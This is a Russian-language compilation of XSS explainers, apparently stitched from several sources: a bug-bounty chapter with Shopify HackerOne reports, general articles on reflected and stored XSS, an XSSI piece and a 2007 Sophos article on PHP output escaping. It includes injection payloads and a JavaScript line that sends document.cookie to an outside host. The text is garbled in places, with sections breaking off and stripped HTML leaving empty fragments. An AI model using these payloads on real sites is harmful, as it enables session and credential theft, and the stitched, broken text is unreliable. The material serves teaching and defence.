Межсайтовый скриптинг xss. Хранимые XSS-атаки и защита от них (удаляем javascript из html в браузере)

Межсайтовый скриптинг, или Cross site scripting, или XSS, предполагает наличие сайта, подключающего непредусмотренный код Javascript, который, в свою очередь, передается пользователям, исполняющим этот код в своих браузерах. Безобидный пример XSS (именно такой вы должны использовать!) выглядит так:

alert(‘XSS’);

Это создаст вызовет функцию Javascript alert и создаст простое (и безобидное) окошко с буквами XSS. В предыдущих версиях книги я рекомендовал вам использовать этот пример при написании отчетов. Это было так, пока один чрезвычайно успешный хакер не сказал мне, что это был “ужасный пример”, объяснив, что получатель отчета об уязвимости может не понять опасность проблемы и из-за безобидности примера выплатить небольшое вознаграждение.

Таким образом, используйте этот пример для обнаружения XSS-уязвимости, но при составлении отчета подумайте о потенциальном вреде, который может нанести уязвимость и объясните его. Под этим я не подразумеваю рассказ компании о том, что же такое XSS, но предлагаю объяснить, чего вы можете добиться, используя уязвимость и как конкретно это могло отразиться на их сайте.

Существует три различных вида XSS, о которых вы могли слышать при исследовании и написании отчетов:

• Reflective XSS: эти атаки не сохраняются на сайте, что означает создание и выполнение XSS в одном запросе и ответе.
• Stored XSS: эти атаки сохраняются на сайте и зачастую более опасны. Они сохраняются на сервере и выполняются на “нормальных” страницах ничего не подозревающими пользователями.
• Self XSS: эти атаки также не сохраняются на сайте и обычно используются как часть обмана человека с целью запуска XSS им самим.Когда вы ищете уязвимости, вы обнаружите, что компании зачастую не заботятся об устранении Self XSS, они беспокоятся только о тех случаях, когда вред их пользователям может быть нанесен не ими самими, а кем-либо еще, как в случае с Reflective и Stored XSS. Однако, это не значит, что вы не должны искать Self XSS.

Если вы нашли ситуацию, в которой Self XSS может быть выполнен, но не сохранен, подумайте о том, как может быть использована эта уязвимость, сможете ли вы использовать её в комбинации с чем-либо, чтобы она уже не была Self XSS?

Один из самых известных примеров использования XSS - MySpace Samy Work, выполненный Сами Камкаром. В октябре 2005 Сами использовал уязвимость stored XSS на MySpace, что позволило ему загрузить код Javascript, который выполнялся каждый раз, когда кто-нибудь посещал его страницу MySpace, добавляя посетителя страницы в друзья профиля Сами. Более того, код также копировал себя на страницы новых друзей Сами таким образом, чтобы профили новых его друзей обновлялись со следующим текстом: “but most of all, samy is my hero”.

Хотя пример Сами был относительно безобидным, использование XSS позволяет красть логины, пароли, банковскую информацию, и так далее. Несмотря на потенциальный вред, исправление XSS-уязвимостей, как правило, не является сложным и требует от разработчиков просто экранировать пользовательский ввод (прямо как в HTML-инъекции) при его отображении. Хотя, некоторые сайты так же убирают потенциально вредоносные символы, когда хакер их отправляет.

1. Распродажа Shopify

Сложность: Низкая
Url: wholesale.shopify.com
Ссылка на отчет: https://hackerone.com/reports/10629326 Дата отчета: 21 декабря 2015
Выплаченное вознаграждение: $500
Описание:

Сайт распродажи Shopify27 является простой страницей с прямым призывом к действию - введите название товара и нажмите “Find Products”. Вот скриншот:

Скриншот сайта распродаж wholesale

XSS-уязвимость здесь была самой простой, какую только можно найти - текст, введенный в поисковую строку не был экранирован, так что исполнялся любой введенный Javascript. Вот отправленный текст из описания уязвимости: test’;alert(‘XSS’);’

Причина того, что это сработало, в том, что Shopify принимал пользовательский ввод, выполнял поисковый запрос и при отсутствии результатов, печатал сообщение, сообщающее об отсутствии результатов поиска по введенному запросу, показывая на странице не экранированный пользовательский ввод. В результате, отправленный Javascript рендерился на странице и браузеры интерпретировали его как исполняемый Javascript.

Выводы

Тестируйте все, уделяйте особое внимание ситуациям, где введенный текст рендерится на странице. Проверяйте, можете ли вы включить в ввод HTML или Javascript, и смотрите, как сайт обрабатывает их. Так же пробуйте закодировать ввод подобно тому, как описано в главе, посвященной HTML-инъекциям.

XSS-уязвимости не должны быть сложными или запутанными. Эта уязвимость была самой простой, какую можно представить - простое поле для ввода текста, которое не обрабатывает пользовательский ввод. И она была обнаружена 21 декабря 2015, и принесла хакеру $500! Все, что потребовалось - хакерское мышление.

2. Корзина подарочных карт Shopify

Сложность: Низкая
Url: hardware.shopify.com/cart
Ссылка на отчет: https://hackerone.com/reports/9508928 Дата отчета: 21 октября 2015
Выплаченное вознаграждение: $500
Описание:

Сайт магазина подарочных карт Shopify29 позволяет пользователям создавать собственное оформление для подарочных карт с помощью HTML-формы, включающей в себя окошко загрузки файла, несколько строк для ввода текста деталей, и так далее. Вот скриншот:

Скриншот формы магазина подарочных карт Shopify

XSS-уязвимость здесь срабатывала, когда в поле формы, предназначенное для названия изображения, вводили Javascript. Это довольно легко сделать, используя HTML прокси, о которых мы поговорим позднеев главе “Инструменты”. Итак, оригинальная отправка формы включала:

Content - Disposition : form - data ; name = ”properties [ Artwor 2 k file ] ”

Её можно было перехватить и изменить на:

Content - Disposition : form - data ; name = ”properties [ Artwor 2 k file < img src = ’test ’onmouseover = ’alert (2 ) ’> ] ”;

Выводы

Здесь можно подметить две вещи, которые помогут обнаруживать XSS-уязвимости.

Межсайтовый скриптинг (сокращенно XSS) - широко распространенная уязвимость, затрагивающая множество веб-приложений. Она позволяет злоумышленнику внедрить вредоносный код в веб-сайт таким образом, что браузер пользователя, зашедшего на сайт, выполнит этот код.

Обычно для эксплуатации подобной уязвимости требуется определенное взаимодействие с пользователем: либо его заманивают на зараженный сайт при помощи социальной инженерии, либо просто ждут, пока тот сам посетит данный сайт. Поэтому разработчики часто не воспринимают всерьез XSS-уязвимости.

Но если их не устранять, это может нести серьезную угрозу безопасности.

Представим, что мы находимся в панели администратора WordPress, добавляем новый контент. Если мы используем для этого уязвимый к XSS плагин, он может заставить браузер создать нового администратора, видоизменить контент и выполнить другие вредоносные действия. Межсайтовый скриптинг предоставляет злоумышленнику практически полный контроль над самым важным программным обеспечением в наши дни - браузером.

XSS: Уязвимость для инъекции

Любой веб-сайт или приложение имеет несколько мест ввода данных -полей формы до самого URL. Простейший пример вводимых данных - когда мы вписываем имя пользователя и пароль в форму:

Наше имя будет храниться в базе данных сайта для последующего взаимодействия с нами. Наверняка, когда вы проходили авторизацию на каком-либо сайте, вы видели персональное приветствие в стиле «Добро пожаловать, Илья».

Именно для таких целей имена пользователей хранятся в базе данных.

Инъекцией называется процедура, когда вместо имени или пароля вводится специальная последовательность символов, заставляющая сервер или браузер отреагировать определенным, нужным злоумышленнику образом.

Межсайтовым скриптингом называется инъекция, внедряющая код, который будет выполнять действия в браузере от имени веб-сайта. Это может происходить как с уведомлением пользователя, так и в фоновом режиме, без его ведома.

Традиционные XSS-атаки: Отраженные (непостоянные).

Отраженная XSS-атака срабатывает, когда пользователь переходит по специально подготовленной ссылке.

Эти уязвимости появляются, когда данные, предоставленные веб-клиентом, чаще всего в параметрах HTTP-запроса или в форме HTML, исполняются непосредственно серверными скриптами для синтаксического анализа и отображения страницы результатов для этого клиента, без надлежащей обработки.

Хранимые (постоянные).

Хранимые XSS возможны, когда злоумышленнику удается внедрить на сервер вредоносный код, выполняющийся в браузере каждый раз при обращении к оригинальной странице. Классическим примером этой уязвимости являются форумы, на которых разрешено оставлять комментарии в HTML-формате.

Уязвимости, вызванные кодом на стороне клиента (JavaScript, Visual Basic, Flash и т. д.): Также известные как DOM-модели: Отраженные (непостоянные).

То же самое, что и в случае с серверной стороной, только в этом случае атака возможна благодаря тому, что код обрабатывается браузером.

Хранимые (постоянные).

Аналогичны хранимым XSS на стороне сервера, только в этом случае вредоносная составляющая сохраняется на клиентской стороне, используя хранилище браузера.

Примеры XSS уязвимостей.

Интересно, что в большинстве случаев, где описывается данная уязвимость, нас пугают следующим кодом:

Http://www.site.com/page.php?var=alert("xss");

Существует два типа XSS уязвимостей - пассивная и активная.

Активная уязвимость более опасна, поскольку злоумышленнику нет необходимости заманивать жертву по специальной ссылке, ему достаточно внедрить код в базу или какой-нибудь файл на сервере. Таким образом, все посетители сайта автоматически становятся жертвами. Он может быть интегрирован, например, с помощью внедрения SQL-кода (SQL Injection). Поэтому, не стоит доверять данным, хранящимся в БД, даже если при вставке они были обработаны.

Пример пассивной уязвимости можно посмотреть в самом начале статьи. Тут уже нужна социальная инженерия, например, важное письмо от администрации сайта с просьбой проверить настройки своего аккаунта, после восстановления с бэкапа. Соответственно, нужно знать адрес жертвы или просто устроить спам-рассылку или разместить пост на каком-нибудь форуме, да еще и не факт что жертвы окажутся наивными и перейдут по вашей ссылке.

Причем пассивной уязвимости могут быть подвержены как POST так и GET-параметры. С POST-параметрами, понятно, придется идти на ухищрения. Например, переадресация с сайта злоумышленника.

document.getElementsByTagName("form").submit();

Следовательно, GET-уязвимость чуть более опасна, т.к. жертве легче заметить неправильный домен, чем дополнительный параметр (хотя url можно вообще закодировать).

Кража Cookies

Это наиболее часто приводимый пример XSS-атаки. В Cookies сайты иногда хранят какую-нибудь ценную информацию (иногда даже логин и пароль (или его хэш) пользователя), но самой опасной является кража активной сессии, поэтому не забываем нажимать ссылку «Выход» на сайтах, даже если это домашний компьютер. К счастью, на большинстве ресурсов время жизни сессии ограничено.

Var іmg = new Image(); іmg.srс = "http://site/xss.php?" + document.cookie;

Поэтому и ввели доменные ограничения на XMLHttpRequest, но злоумышленнику это не страшно, поскольку есть , , , background:url(); и т.п.

Кража данных из форм

Ищем форму через, например, getElementById и отслеживаем событие onsubmit. Теперь, перед отправкой формы, введенные данные отправляются также и на сервер злоумышленника.

Этот тип атаки чем-то напоминает фишинг, только используется не поддельный сайт, а реальный, чем вызывается большее доверие жертвы.

DDoS-атака (распределенная атака типа «отказ в обслуживании»)

XSS-уязвимость на многопосещаемых ресурсах может быть использована для проведения DDoS-атаки. Суть проста - много запросов, которые не выдерживает атакуемый сервер.
Собственно отношение к XSS имеет косвенное, поскольку скрипты могут и не использоваться вовсе, достаточно конструкции вида:

В чем опасность XSS?

Как можно защитить свой сайт от XSS? Как проверить код на наличие уязвимости? Существуют технологии вроде Sucuri Firewall, специально разработанные для того, чтобы избежать подобных атак. Но если вы разработчик, вы, безусловно, захотите узнать подробнее, как идентифицировать и устранить XSS-уязвимости.

Об этом мы поговорим в следующей части статьи, посвященной XSS.

XSS атака является одним из любимейших видов атак у хакеров. В данной статье мы постараемся в доступной форме разъяснить, что эта за вид атак, как они реализуемы, какие у них последствия, и как же от них уберечься.

Аббревиатура XSS расшифровывается как Cross Site Scripting, или «межсайтовый скриптинг». При этом первую букву С заменили на Х вследствие того, что аббревиатура CSS уже занята, обозначает «Каскадные таблицы стилей» и применяется в веб-программировании.

XSS атака – это атака на уязвимость, которая существует на сервере, позволяющая внедрить в генерируемую сервером HTML-страницу некий произвольный код, в котором может быть вообще все что угодно и передавать этот код в качестве значения переменной, фильтрация по которой не работает, то есть сервер не проверяет данную переменную на наличие в ней запрещенных знаков –, , ’, ”. Значение данной переменной передается от генерируемой HTML-страницы на сервер в скрипт, ее вызвавший путем отправки запроса.

А далее начинается самое интересное для хакера. РНР-скрипт в ответ на данный запрос генерирует HTML-страницу, в которой отображаются значения требующихся хакеру переменных, и отправляет данную страницу на браузер хакера.

То есть, говоря проще, XSS атака – это атака с помощью уязвимостей на сервере на компьютеры клиентов.

XSS атака чаще всего используется для кражи Cookies (или куки, как их произносят по-русски). В них хранится информация о сессии пребывания пользователя на сайтах, что и бывает нужным хакерам для перехвата управления личными данными пользователя на сайте в пределах, пока сессия не будет закрыта сервером, на котором размещен сайт. Помимо этого в Cookies хранится зашифрованный пароль, под которым пользователь входит на данный сайт, и при наличии необходимых утилит и желания хакерам не доставляет особого труда расшифровать данный пароль. А чем это чревато, думаю, всем понятно.

Чаще всего, как я упоминал выше, XSS атаки используются для кражи cookies (в народе – куки). В них хранятся сессии пребывания пользователя на том или ином сайте, этим злоумышленник и пользуется. Таким способом можно находится, например, на форуме, под аккаунтом другого человека. Так же cookies содержат зашифрованный пароль к аккаунту пользователя, который “сетевой хулиган” может с легкостью расшифровать и получить постоянный и ничем неограниченный доступ.

Теперь опишем другие возможности XSS атак (конечно при условии их успешного проведения).

Возможно при открытии страницы вызвать открытие большого количества ненужных пользователю окон.

Возможна вообще переадресация на другой сайт (например, на сайт конкурента).

Существует возможность загрузки на компьютер пользователя скрипта с произвольным кодом (даже вредоносного) путем внедрения ссылки на исполняемый скрипт со стороннего сервера.

Зачастую происходит кража личной информации с компьютера пользователя, помимо Cookies в качестве объекта кражи выступает информация о посещенных сайтах, о версии браузера и операционной системе, установленной на компьютере пользователя, да к тому же еще и плюсуется IP-адрес компьютера пользователя.

XSS атака может быть проведена не только через сайт, но и через уязвимости в используемом программном обеспечении (в частности, через браузеры). Поэтому рекомендуем почаще обновлять используемое программное обеспечение.

Также возможно проведение XSS атак через использование SQL-кода.

Как мы видим из всего вышесказанного, возможностей у XSS атак достаточно много. Злоумышленник может овладеть вашей личной информацией вплоть до получения паролей доступа к сайтам, а это очень неприятно. К тому же XSS атака наносит вред исключительно клиентским машинам, оставляя сервер в полностью рабочем состоянии, и у администрации различных серверов порой мало стимулов устанавливать защиту от этого вида атак.

По данным Википедии XSS на сегодняшний день составляют около 15% всех обнаруженных уязвимостей.

Различают XSS атаки двух видов: активные и пассивные. При первом виде атаки вредоносный скрипт хранится на сервере и начинает свою деятельность при загрузке страницы сайта в браузере клиента. При втором виде атак скрипт не хранится на сервере и вредоносное действие начинает выполняться только в случае какого-либо действия пользователя, например, при нажатии на сформированную ссылку.

Напоследок дадим несколько советов веб-программистам и администраторам по предотвращению проведения XSS атак .

Запретите включение напрямую параметров $_GET, $_POST, $_COOKIE в генерируемую HTML-страницу. Рекомендуем использовать альтернативные функции и параметры.

Запретите загрузку произвольных файлов на сервер во избежание загрузки вредоносных скриптов. В частности, рекомендуется запретить загрузку на сервер файлов различных типов скриптов и HTML-страниц.

Все загруженные файлы храните в базе данных, а не в файловой системе. Структуры данных это не нарушает (даже наоборот), а вот возникающих проблем может быть при использовании этого подхода значительно меньше.

Расширяя функциональность своего сайта, помните, что при этом возрастает возможность проведения XSS атак, так что расширяйте ее с крайней осторожностью и все время тестируйте.

Про возможность получения различной информации со сторонних сайтов с помощью простой атаки - Cross Site Scripting Inclusion (XSSI).

Если ты читаешь Easy Hack систематически, то, наверное, уже хорошо знаком с Same Origin Policy (SOP), мы к нему часто возвращаемся. Из-за SOP возможность взаимодействия между двумя «сайтами» очень ограничена. Но так как задача получения и оправки информации на одном сайте с другого возникает часто, то были внедрены различные методы для «смягчения» политики и организации взаимодействия. Например, такие, как CORS или crossdomain.xml. Один из более старых методов - подгрузка JavaScript с другого домена через тег . SOP нас здесь ничем не ограничивает: можно указать практически произвольное месторасположение.

К примеру, есть хост атакующего evil.ru и сайт жертвы - victim.com. На evil.ru мы можем положить файл HTML и сослаться на любой скрипт у жертвы:

При входе пользователя на сайт атакующего браузер подгрузит и запустит JS с victim.com, но в контексте SOP evil.ru. Это значит, что из JS самого атакующего мы сможем получить доступ к данным (не всем) JS с сервера жертвы.

Например, содержимое JS c cайта-жертвы (http://victim.com/any_script_.js):

Var a = "12345";

Тогда на сайте атакующего мы можем получить значение переменной:

console.log(a);

Идея работы проста, как алюминиевый чайник.

По сути, возможность подгружать с других сайтов статический JS несет в себе не больше проблем для сайта-жертвы, чем погрузка картинки.

Проблемы могут возникнуть, когда JS формируется динамически, то есть когда контент JS-скрипта меняется на основании данных из cookie в зависимости от того, какой пользователь к нему обращается. Например, в JS хранится какая-то «критичная» информация: персональные сведения (email, имя пользователя на сайте-жертве) или техническая инфа (анти CSRF-токены).

Но, как мы знаем, при подгрузке скрипта через тег браузер пользователя автоматически отправляет cookie пользователя. Сложив эти факты, мы получаем возможность получать информацию о любом пользователе, который зашел на сайт атакующего и при этом залогинен на сайте-жертве.

Что же мы можем узнать? Глобальные переменные и результаты работы глобальных функций. К сожалению, доступа к внутренним переменным/функциям нам не получить (хотя, возможно, кто-то найдет способ сделать и это).

Function test(){ return "private data frm function"; }

Такая атака выглядит возможной, но кажется, что она слишком проста и не должна быть распространенной. Этим и интересна презентация на Black Hat. Исследователи проанализировали 150 популярных сайтов и обнаружили, что в той или иной мере уязвима треть из них. Такая статистика заставляет взглянуть на проблему чуть более пристально.

Была выявлена и еще одна закономерность. Content Security Policy становится все более распространенной. Как ты знаешь, с ней мы можем указать, с каких доменов может быть подгружен тот или иной ресурс. Например, можно сказать исполнять JS только с того же ресурса. Кроме того, лучшие практики настройки CSP подразумевают запрет на запуск inline JS (то есть кода, который находится прямо в HTML, а не подгружен из JS-файла).

Однако перенос inline в файлы может быть сделан с костылями и на скорую руку - то есть посредством динамически генерируемых скриптов. Так как CSP никак не влияет на XSSI, мы опять-таки можем проводить наши атаки. Вот такая вот bad practice.

Cтатья \"Обеспечение безопасности веб-сайтов\" предоставлена Sophos Plc и SophosLabs.

Декабрь 2007 г.

Данный вид атак направлен на веб-сайты, отображающие вводимые пользователями данные. Вместо попытки получения контроля над базой данных путем ввода вредоносного кода злоумышленник пытается атаковать код самого веб-сайта, внедряя в него вредоносные сегменты.

Многие сайты хранят имена всех посетителей в базе данных, чтобы иметь возможность отображать их при вводе соответствующих пользователей. Злоумышленник может создать подложную учетную запись, разместив при этом в поле имени вредоносный код. Подобные атаки обычно реализуются с помощью вредоносных скриптов на языке Javascript, которые затем загружают контент с другого веб-сайта. Предполагается, что в базе данных хранится имя пользователя, но на самом деле в данном случае это будет вредоносный код. Соответственно, если веб-сайт отображает имя пользователя в верхней части страницы, то этот код будет выполнен. Поскольку при наличии определенных условий такой код может делать практически все, что угодно, угроза становится вполне реальной; тем не менее, разработчики зачастую про нее забывают. За последнее время жертвами XSS-атак стали многие популярные веб-сайты, в том числе MySpace, Facebook, Google Mail, ВКонтакте.

Примечание.

Рассмотрим следующий PHP-код:

$firstname = $_POST[\"firstname\"]; echo \"Your name: $firstname\";

После ввода имени в веб-форме сайт отображает на странице соответствующее сообщение. Если указать в форме имя «Chris» , то сообщение будет иметь следующий вид: «Your name: Chris» .

Что произойдет, если вместо имени ввести следующую конструкцию: «alert („You just got hacked!“ ) ;» ?

К сожалению, XSS-атакам зачастую трудно что-либо противопоставить, поскольку для этого необходимо должным образом фильтровать вводимые и выводимые данные, а также все поля, которые могут меняться пользователями. Сюда относятся данные, получаемые из запросов GET и POST, а также запросы, возвращаемые из базы данных.

В PHP имеется целый ряд пакетов, которые помогают фильтровать выводимые данные, например, CodeIgniter Также в PHP имеется встроенная функция htmlspecialchars , которую можно использовать для фильтрации выводимых данных.